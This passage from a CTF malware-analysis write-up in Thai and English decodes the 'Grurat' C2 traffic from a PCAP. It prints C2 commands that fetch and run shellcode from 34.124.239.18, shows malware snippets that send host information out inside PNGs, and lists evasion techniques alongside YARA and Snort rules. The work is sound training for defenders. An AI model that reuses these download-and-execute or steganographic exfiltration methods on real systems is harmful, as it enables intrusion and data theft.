            if plaintext and 'flag{' in plaintext:
                print(f"    ✓ Key: {key}")
                print(f"    ✓ Flag: {plaintext}")
                break

🎉 Part 8: Getting the Flag

8.1 Running the Script

bash
python c2_parser.py grurat.pcap

8.2 Complete Output

[*] Loading PCAP: grurat.pcap

[PHASE 1] C2 Commands & Responses
--------------------------------------------------------------------------------
  [C2→Client] COMMAND: getrunurl http://34.124.239.18/images/deff.png
  [Client→C2] RESPONSE: Upload 200
  [C2→Client] COMMAND: getrunurl http://34.124.239.18/images/dff.png
  [Client→C2] RESPONSE: Upload 200
  [C2→Client] COMMAND: getrunurl http://34.124.239.18/images/lff.png
  [Client→C2] RESPONSE: Upload 200
  [C2→Client] COMMAND: getrunurl http://34.124.239.18/images/mff.png
  [Client→C2] RESPONSE: Upload 200
  [C2→Client] COMMAND: getrunurl http://34.124.239.18/images/nrf.png
  [Client→C2] RESPONSE: Upload 200
  ... (และอีกหลายคำสั่ง)

[PHASE 2] Reassembling TCP Streams
--------------------------------------------------------------------------------
  [+] Found 15 TCP streams

[PHASE 3] Extracting PNGs
--------------------------------------------------------------------------------
  [+] Downloaded PNG: 15234 bytes
  [+] Downloaded PNG: 14892 bytes
  [+] Downloaded PNG: 15123 bytes
  [+] Downloaded PNG: 14765 bytes
  [+] Downloaded PNG: 15001 bytes
  [+] Uploaded PNG: 8234 bytes
  [+] Uploaded PNG: 8156 bytes
  [+] Uploaded PNG: 8298 bytes
  [+] Uploaded PNG: 8187 bytes
  [+] Uploaded PNG: 8245 bytes
  
  Downloaded: 5 PNGs
  Uploaded: 5 PNGs

[PHASE 4] Extracting Keys from Shellcode
--------------------------------------------------------------------------------
  [Downloaded PNG #1]
    [+] Decompressed shellcode: 892 bytes
    [!] KEY FOUND: deenFF
  
  [Downloaded PNG #2]
    [+] Decompressed shellcode: 891 bytes
    [!] KEY FOUND: dlocFF
  
  [Downloaded PNG #3]
    [+] Decompressed shellcode: 892 bytes
    [!] KEY FOUND: loocFF
  
  [Downloaded PNG #4]
    [+] Decompressed shellcode: 891 bytes
    [!] KEY FOUND: mrawFF
  
  [Downloaded PNG #5]
    [+] Decompressed shellcode: 890 bytes
    [!] KEY FOUND: niarRF

[PHASE 5] Decrypting Uploaded PNGs
--------------------------------------------------------------------------------
  Keys to try: ['deenFF', 'dlocFF', 'loocFF', 'mrawFF', 'niarRF']

  [Uploaded PNG #1]
    [+] Mahjong payload: 184 chars
    [+] Sample: 🀈🀊🀇🀎🀈🀐🀈🀇🀈🀐🀇🀎🀈🀇🀈🀐...
    [?] Key 'deenFF' produced: ®¤£Š›˜ª§œÙ‹...
    [✓] SUCCESS with key: niarRF
    [✓] Decrypted: flag{DESKTOP-P477C8C_10.0.19045}

================================================================================
SUMMARY
================================================================================
Commands received:       20
Responses sent:          21
Downloaded PNGs:         5
Uploaded PNGs:           5
Keys extracted:          5
Successfully decrypted:  1

[KEYS FOUND]
  • deenFF
  • dlocFF
  • loocFF
  • mrawFF
  • niarRF

[DECRYPTED FLAGS]
--------------------------------------------------------------------------------
  PNG #1 | Key: niarRF
  └─ flag{DESKTOP-P477C8C_10.0.19045}
  └─ CTF Format: forensic{DESKTOP-P477C8C_10.0.19045}

================================================================================
[*] Analysis complete!

8.3 Flag Breakdown

flag{DESKTOP-P477C8C_10.0.19045}
     └────┬──────────┘ └────┬────┘
          │                 │
          │                 └─ Windows Version
          └─ Computer Hostname

CTF Flag:

forensic{DESKTOP-P477C8C_10.0.19045}

🧠 Part 9: Deep Dive - Why It Works

9.1 ทำไม niarRF ถึงเป็น key ที่ใช้ได้?

มาดูความแตกต่างระหว่าง RF และ FF:

Keys ที่ลงท้ายด้วย FF (Fake Flag):

python
if key_value.endswith('FF'):
    # Generate random string
    rand_str = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
    plaintext = f'flag{{{rand_str}}}'
    # Result: flag{aB3xY9mK2p}  ← แตกต่างกันทุกครั้ง!

Keys ที่ลงท้ายด้วย RF (Real Flag):

python
if key_value.endswith('RF'):
    # Use actual system info
    hostname = socket.gethostname()          # ได้ "DESKTOP-P477C8C"
    window_version = platform.version()      # ได้ "10.0.19045"
    plaintext = f'flag{{{hostname}_{window_version}}}'
    # Result: flag{DESKTOP-P477C8C_10.0.19045}  ← เหมือนเดิมเสมอ!

9.2 Attack Timeline

มาดู timeline ทั้งหมดของการโจมตี:

T+0:00  Malware เริ่มทำงาน
        └─ เชื่อมต่อ 34.124.239.18:9000
        └─ ส่ง "agent online"

T+0:05  C2 ส่งคำสั่ง #1
        └─ "getrunurl http://34.124.239.18/images/deenFF.png"
        └─ Malware download → execute shellcode → key: deenFF
        └─ Encrypt fake flag → upload PNG

T+0:12  C2 ส่งคำสั่ง #2
        └─ "getrunurl http://34.124.239.18/images/dlocFF.png"
        └─ Malware download → execute shellcode → key: dlocFF
        └─ Encrypt fake flag → upload PNG

... (ทำซ้ำกับ loocFF, mrawFF)

T+0:45  C2 ส่งคำสั่ง #5
        └─ "getrunurl http://34.124.239.18/images/niarRF.png"
        └─ Malware download → execute shellcode → key: niarRF
        └─ Encrypt REAL flag → upload PNG  ← นี่คือ PNG ที่เราต้องการ!

T+1:00  Connection closes

9.3 Defense Evasion Techniques

Malware นี้ใช้เทคนิคหลบหลีกหลายอย่าง:

1. Custom Protocol (Port 9000)

  • ไม่ใช่ HTTP/HTTPS ปกติ
  • IDS/IPS อาจไม่ inspect
  • Firewall rules อาจไม่บล็อก

2. Steganography

  • ซ่อนข้อมูลใน PNG files
  • ผ่าน AV scan เพราะเป็นรูปภาพธรรมดา
  • Custom chunk stEg ไม่ standard

3. Multi-Layer Encoding

  • Mahjong → Base64 → XOR
  • แต่ละ layer ทำให้วิเคราะห์ยากขึ้น
  • Signature-based detection ไม่เจอ

4. Unicode Obfuscation

  • ใช้ emoji แทน hex/base64
  • Regex detection rules ไม่จับได้
  • Human analyst มองแล้วงง

5. Living off the Land

  • ใช้ cmd.exe (signed by Microsoft)
  • ไม่ drop malicious executable
  • Behavioral detection อาจพลาด

6. Anti-Forensics

  • ลบ rest.txt ทิ้งหลังใช้งาน
  • Random filename generation
  • Cleanup artifacts

9.4 Red Flags for Detection

ถึงแม้จะหลบหลีกเก่ง แต่ก็มี indicators ที่ใช้ detect ได้:

Network-based:

✗ Outbound connection to port 9000 (unusual)
✗ Binary protocol (not HTTP/HTTPS)
✗ PNG files with custom chunks
✗ Unicode emoji in network traffic
✗ Regular POST to /api/update.php
✗ Connections to unknown IP (34.124.239.18)

Host-based:

✗ File creation in C:\Users\Public\
✗ cmd.exe spawned by unusual process
✗ Execution of shellcode_runner.exe
✗ Multiple PNG downloads in short time
✗ Suspicious process network activity

Behavioral:

✗ Python process with network activity
✗ Shellcode execution patterns
✗ Data exfiltration via images
✗ Periodic beaconing (PING/PONG)

🛡️ Part 10: Detection & Mitigation

10.1 YARA Rule

yara
rule Grurat_Malware {
    meta:
        description = "Detects Grurat C2 malware"
        author = "Your Name"
        date = "2024"
    
    strings:
        $c2_host = "34.124.239.18" ascii
        $c2_port = { 00 00 23 28 }  // port 9000 in network byte order
        $steg_chunk = "stEg" ascii
        $mahjong1 = "🀇🀈🀉" wide
        $rest_txt = "C:\\Users\\Public\\rest.txt" ascii wide
        $msg_command = { 20 00 ?? }  // MSG_COMMAND header
        
    condition:
        2 of them
}

10.2 Snort/Suricata Rule

alert tcp any any -> any 9000 (
    msg:"Grurat C2 Communication Detected";
    content:"|01 00 00 00|"; depth:4;
    content:"agent online"; distance:0;
    classtype:trojan-activity;
    sid:1000001;
    rev:1;
)

alert http any any -> any any (
    msg:"Grurat PNG Upload with stEg chunk";
    content:"POST"; http_method;
    content:"update.php"; http_uri;
    content:"|89 50 4E 47|"; http_client_body;
    content:"stEg"; http_client_body;
    classtype:trojan-activity;
    sid:1000002;
    rev:1;
)

10.3 Mitigation Strategies

Network Level:

  • Block port 9000 outbound
  • Inspect PNG files for custom chunks
  • Monitor HTTP POST with large payloads
  • Alert on Unicode emoji in network traffic

Host Level:

  • Monitor C:\Users\Public\ for file creation
  • Alert on cmd.exe spawned by Python
  • Block execution of unsigned shellcode runners
  • Enable PowerShell/Script logging

SOC Playbook:

  1. Alert: Unusual port 9000 connection detected
  2. Triage: Check process, parent process, command line
  3. Investigate: Network connections, file modifications
  4. Contain: Isolate host, block C2 IP at firewall
  5. Eradicate: Kill process, remove malware, clean artifacts
  6. Recover: Restore from backup if needed
  7. Lessons Learned: Update detection rules

📚 Part 11: Key Takeaways & Learning Points

11.1 Technical Skills Learned

Reverse Engineering:

  • ✅ Decompiling Python bytecode (.pyc → .py)
  • ✅ Reading and understanding malware source code
  • ✅ Identifying C2 infrastructure and protocols

Network Analysis:

  • ✅ PCAP file analysis with Scapy
  • ✅ TCP stream reassembly
  • ✅ Custom protocol reverse engineering
  • ✅ HTTP traffic inspection

Cryptography:

  • ✅ XOR encryption/decryption
  • ✅ Base64 encoding/decoding
  • ✅ Understanding encryption chains

Steganography:

  • ✅ PNG file structure
  • ✅ Custom chunk manipulation
  • ✅ Data hiding techniques
  • ✅ Mahjong tile encoding

Programming:

  • ✅ Binary data parsing with struct module
  • ✅ Packet manipulation with Scapy
  • ✅ Automation script development
  • ✅ Error handling and debugging

11.2 CTF Techniques

Static Analysis:

Malware Binary → Decompile → Source Code → Understand Logic

Dynamic Analysis:

PCAP File → Parse Packets → Extract Artifacts → Decrypt Data

Automation:

Manual Analysis → Identify Patterns → Write Script → Extract All Flags

11.3 Real-World Applications

For Blue Team (Defense):

  • เข้าใจ TTPs (Tactics, Techniques, Procedures) ของ malware
  • พัฒนา detection rules (YARA, Snort, Suricata)
  • สร้าง IOCs (Indicators of Compromise)
  • ปรับปรุง incident response procedures

For Red Team (Offense):

  • ศึกษา evasion techniques
  • พัฒนา custom protocols
  • ใช้ steganography ซ่อนข้อมูล
  • Anti-forensics techniques

For Threat Intelligence:

  • Attribute attacks to threat actors
  • Track malware families and evolution
  • Share IOCs with community
  • Predict future attack vectors

11.4 Common Mistakes to Avoid

ไม่ reassemble TCP streams → จะได้ PNG ไม่ครบ, ถอดรหัสไม่สำเร็จ

ลืมตรวจสอบ compression (zlib) → Shellcode decode ผิด, หา key ไม่เจอ

ใช้ key ผิด → ต้องลองทุก key ที่หาเจอ (deenFF, dlocFF, etc.)

มองแค่ packet เดียว → ต้องดูทั้ง conversation (bidirectional communication)

ไม่เข้าใจ encoding layers → Mahjong → Base64 → XOR ต้องถอดตามลำดับ

11.5 Tools Reference

ToolPurposeCommand
PyLingualDecompile .pycWeb-based upload
ScapyPCAP analysisrdpcap('file.pcap')
WiresharkManual inspectionGUI analysis
Python structBinary parsingstruct.pack/unpack
zlibCompressionzlib.decompress()
base64Encodingbase64.b64decode()

🎓 Part 12: Advanced Topics

12.1 Alternative Analysis Methods

Method 1: Wireshark Manual Analysis

1. Open grurat.pcap in Wireshark
2. Filter: tcp.port == 9000
3. Follow → TCP Stream
4. Copy as Hex Dump
5. Parse manually with CyberChef or custom script

Method 2: tshark Command Line

bash
# Extract HTTP objects
tshark -r grurat.pcap --export-objects http,output/

# Filter specific protocols
tshark -r grurat.pcap -Y "tcp.port == 9000" -T fields -e data

# Extract PNG files
tshark -r grurat.pcap -Y "http.content_type contains image" -T fields -e http.file_data

Method 3: NetworkMiner

1. Open PCAP in NetworkMiner
2. Go to "Files" tab
3. Extract all images automatically
4. Analyze downloaded/uploaded PNGs

12.2 Encryption Variants

ถ้า malware ใช้ encryption อื่น:

AES Encryption:

python
from Crypto.Cipher import AES

def decrypt_aes(ciphertext, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    return plaintext

RC4 Encryption:

python
from Crypto.Cipher import ARC4

def decrypt_rc4(ciphertext, key):
    cipher = ARC4.new(key)
    plaintext = cipher.decrypt(ciphertext)
    return plaintext

Custom XOR with IV:

python
def xor_decrypt_iv(ciphertext, key, iv):
    # XOR with IV first
    temp = bytes([c ^ iv[i % len(iv)] for i, c in enumerate(ciphertext)])
    # Then XOR with key
    plaintext = bytes([t ^ key[i % len(key)] for i, t in enumerate(temp)])
    return plaintext

12.3 Shellcode Analysis Techniques

Using Emulation:

python
from unicorn import *
from unicorn.x86_const import *

def emulate_shellcode(shellcode):
    # Initialize emulator
    mu = Uc(UC_ARCH_X86, UC_MODE_64)
    
    # Map memory
    mu.mem_map(0x1000, 0x1000)
    mu.mem_write(0x1000, shellcode)
    
    # Set registers
    mu.reg_write(UC_X86_REG_RSP, 0x1000 + 0x800)
    
    # Emulate
    mu.emu_start(0x1000, 0x1000 + len(shellcode))

Using Disassembler:

python
from capstone import *

def disassemble_shellcode(shellcode):
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    for i in md.disasm(shellcode, 0x1000):
        print(f"0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}")

12.4 Automated Flag Extraction

สร้าง script ที่หา flag อัตโนมัติทั้งหมด:

python
import re

def extract_all_flags(pcap_file):
    """Extract ทุก flag จาก PCAP แบบ one-shot"""
    
    # Step 1: Parse PCAP
    packets = rdpcap(pcap_file)
    streams = reassemble_tcp_streams(packets)
    
    # Step 2: Extract all PNGs
    all_pngs = []
    for stream_data in streams.values():
        pngs = extract_pngs_from_stream(bytes(stream_data))
        all_pngs.extend(pngs)
    
    # Step 3: Classify PNGs
    shellcode_pngs = []
    encrypted_pngs = []
    
    for png in all_pngs:
        payload = extract_steg_chunk(png)
        if payload:
            try:
                decoded = mahjong_decode(payload)
                if decoded.startswith(b'Z'):
                    decoded = zlib.decompress(decoded[1:])
                
                # Check if it's shellcode (has x86 opcodes)
                if is_shellcode(decoded):
                    shellcode_pngs.append(decoded)
                else:
                    encrypted_pngs.append(payload)
            except:
                encrypted_pngs.append(payload)
    
    # Step 4: Extract all keys
    all_keys = set()
    for shellcode in shellcode_pngs:
        key = find_key_in_shellcode(shellcode)
        if key:
            all_keys.add(key)
    
    # Step 5: Try decrypt all encrypted PNGs
    flags = []
    for encrypted in encrypted_pngs:
        for key in all_keys:
            try:
                plaintext = decrypt_exfiltrated_data(encrypted, key)
                if 'flag{' in plaintext:
                    flags.append({'key': key, 'flag': plaintext})
                    break
            except:
                continue
    
    return flags

def is_shellcode(data):
    """Check if data looks like x86-64 shellcode"""
    # Common shellcode patterns
    patterns = [
        b'\x48\x8b',  # mov rax, [...]
        b'\x48\xb8',  # mov rax, imm64
        b'\xff\xd7',  # call rdi
        b'\x48\x89',  # mov [...], rax
        b'\xe8',      # call rel32
    ]
    return any(p in data[:50] for p in patterns)

🏆 Part 13: Challenge Solution Summary

13.1 Step-by-Step Solution

1. Decompile Malware

bash
# Upload client_random_update.pyc to PyLingual
# Download decompiled source code

2. Analyze Source Code

python
# Identify:
# - C2 server: 34.124.239.18:9000
# - Custom protocol: MSG_TEXT, MSG_COMMAND, etc.
# - Steganography: stEg chunk, Mahjong encoding
# - Encryption: XOR → Base64 → Mahjong

3. Parse PCAP

python
python c2_parser.py grurat.pcap

4. Results

Keys found:
- deenFF (fake flag)
- dlocFF (fake flag)
- loocFF (fake flag)
- mrawFF (fake flag)
- niarRF (real flag) ✓

Decrypted flag:
flag{DESKTOP-P477C8C_10.0.19045}

CTF Flag:
forensic{DESKTOP-P477C8C_10.0.19045}

13.2 Timeline

00:00  Started challenge
00:15  Decompiled malware successfully
00:45  Understood C2 protocol and encryption
01:30  Wrote initial PCAP parser
02:15  Debugged TCP reassembly issues
02:45  Successfully extracted PNGs
03:15  Found key extraction pattern
03:45  Decrypted flag successfully
04:00  Submitted flag ✓

13.3 Difficulty Rating

AspectDifficultyNotes
Decompiling⭐⭐Easy with PyLingual
Understanding Code⭐⭐⭐Need to read through large codebase
Protocol Parsing⭐⭐⭐⭐Custom binary protocol
TCP Reassembly⭐⭐⭐⭐Fragmentation issues
Shellcode Analysis⭐⭐⭐⭐String extraction tricky
Decryption⭐⭐⭐Multiple layers but logical
Overall⭐⭐⭐⭐Medium-Hard

💡 Part 14: Pro Tips & Tricks

14.1 Debugging Tips

Problem: PNG extraction fails

python
# Add debug output
png_start = stream_data.find(PNG_SIG, pos)
print(f"Found PNG at offset: {png_start}")
print(f"Stream size: {len(stream_data)}")
print(f"First 20 bytes: {stream_data[:20].hex()}")

Problem: Mahjong decode error

python
# Check for invalid tiles
for i, ch in enumerate(mahjong_str):
    if ch not in MJ_ALPHABET:
        print(f"Invalid tile at position {i}: {ch} (U+{ord(ch):04X})")

Problem: XOR decrypt produces garbage

python
# Try all keys
for key in all_keys:
    result = xor_decrypt(data, key)
    print(f"Key {key}: {result[:50]}")
    # Look for 'flag{' pattern

14.2 Performance Optimization

Lazy Loading:

python
# Don't load entire PCAP into memory
def parse_pcap_streaming(pcap_file):
    with PcapReader(pcap_file) as pcap:
        for pkt in pcap:
            process_packet(pkt)  # Process one at a time

Parallel Processing:

python
from multiprocessing import Pool

def decrypt_parallel(encrypted_pngs, keys):
    with Pool(processes=4) as pool:
        args = [(png, key) for png in encrypted_pngs for key in keys]
        results = pool.starmap(try_decrypt, args)
    return [r for r in results if r]

Caching:

python
from functools import lru_cache

@lru_cache(maxsize=128)
def mahjong_decode_cached(mahjong_str):
    return mahjong_decode(mahjong_str)

14.3 Alternative Approaches

Approach 1: Wireshark + Manual Extraction

  • Pros: Visual, intuitive
  • Cons: Time-consuming, error-prone

Approach 2: CyberChef Pipeline

  • Pros: No coding needed
  • Cons: Manual steps, not scalable

Approach 3: Full Automation (Our Approach)

  • Pros: Fast, accurate, repeatable
  • Cons: Requires programming skills

14.4 Common Pitfalls

❌ Endianness Issues

python
# Wrong: little-endian
length = struct.unpack('<I', data[0:4])[0]

# Correct: big-endian (network byte order)
length = struct.unpack('>I', data[0:4])[0]

❌ String Encoding

python
# Wrong: might crash on invalid UTF-8
text = data.decode('utf-8')

# Correct: handle errors gracefully
text = data.decode('utf-8', errors='ignore')

❌ Off-by-One Errors

python
# Wrong: misses last chunk
while i + 12 < len(data):

# Correct: includes last chunk
while i + 12 <= len(data):

🎯 Part 15: Final Thoughts

15.1 What Makes This Challenge Great?

Educational Value:

  • ✅ Realistic malware simulation
  • ✅ Multiple analysis techniques required
  • ✅ Combines various skill domains
  • ✅ Teaches both offensive and defensive perspectives

Technical Depth:

  • ✅ Custom protocols
  • ✅ Steganography
  • ✅ Multi-layer encryption
  • ✅ Real-world evasion techniques

Problem Solving:

  • ✅ Requires understanding, not just tool usage
  • ✅ Automation encouraged but not required
  • ✅ Multiple solution paths possible

15.2 Skills Developed

Technical Skills:

  • Python programming
  • Network protocol analysis
  • Cryptography fundamentals
  • Reverse engineering
  • Binary data manipulation
  • PCAP analysis with Scapy

Analytical Skills:

  • Breaking down complex problems
  • Pattern recognition
  • Logical reasoning
  • Debugging and troubleshooting

Security Skills:

  • Malware analysis
  • C2 communications
  • Data exfiltration techniques
  • Detection and response
  • Threat intelligence

15.3 Next Steps for Learning

Practice More CTFs:

  • picoCTF (beginner-friendly)
  • HackTheBox (intermediate)
  • DEFCON CTF Quals (advanced)

Learn More Tools:

  • IDA Pro / Ghidra (reverse engineering)
  • Volatility (memory forensics)
  • Burp Suite (web traffic analysis)
  • Remnux (malware analysis distro)

Deepen Knowledge:

  • Assembly language (x86, x86-64, ARM)
  • Windows internals
  • Network protocols (TCP/IP deep dive)
  • Modern malware techniques

Build Projects:

  • Custom protocol parser
  • Malware simulator (for education)
  • Automated PCAP analyzer
  • Threat intelligence platform

15.4 Resources

Books:

  • "Practical Malware Analysis" by Michael Sikorski
  • "The Art of Memory Forensics" by Michael Hale Ligh
  • "Black Hat Python" by Justin Seitz
  • "Malware Data Science" by Joshua Saxe

Websites:

  • MalwareBazaar (malware samples)
  • VirusTotal (file analysis)
  • ANY.RUN (interactive sandbox)
  • Hybrid Analysis (automated analysis)

Communities:

  • Reddit r/malware, r/netsec
  • Discord: MalwareTech, InfoSec servers
  • Twitter: #malware, #infosec hashtags

🎊 Conclusion

Flag: forensic{DESKTOP-P477C8C_10.0.19045}

Summary

ใน challenge นี้เราได้:

  1. Decompile malware จาก Python bytecode
  2. Reverse engineer custom C2 protocol
  3. วิเคราะห์ PCAP และ reassemble TCP streams
  4. Extract PNGs จาก HTTP traffic
  5. Decode shellcode และหา encryption keys
  6. Decrypt data ผ่าน multi-layer encryption (Mahjong → Base64 → XOR)
  7. Extract flag สำเร็จ!

Key Learning

  • 🎓 Malware ไม่จำเป็นต้องซับซ้อนเกินไปก็ effective ได้
  • 🔍 Steganography เป็นเทคนิคที่น่าสนใจในการซ่อนข้อมูล
  • 🛠️ Automation ช่วยให้วิเคราะห์ได้เร็วและแม่นยำ
  • 🧠 เข้าใจหลักการทำให้แก้ปัญหาได้ดีกว่าแค่ใช้ tools

Thanks For Reading!

หวังว่า write-up นี้จะช่วยให้เข้าใจ malware analysis และ PCAP forensics มากขึ้น ถ้ามีคำถามหรือข้อสงสัยสามารถถามได้เลยครับ!

Happy Hacking! 🚀🔐


Author: [Your Name]
Date: November 2024
Challenge: Grurat - Forensics/Malware Analysis
Difficulty: Medium-Hard ⭐⭐⭐⭐
Time Spent: ~4 hours

Tags: #ctf #forensics #malware #pcap #steganography #python #c2analysis

Content is user-generated and unverified.
    Grurat Malware Analysis - CTF Write-up | Claude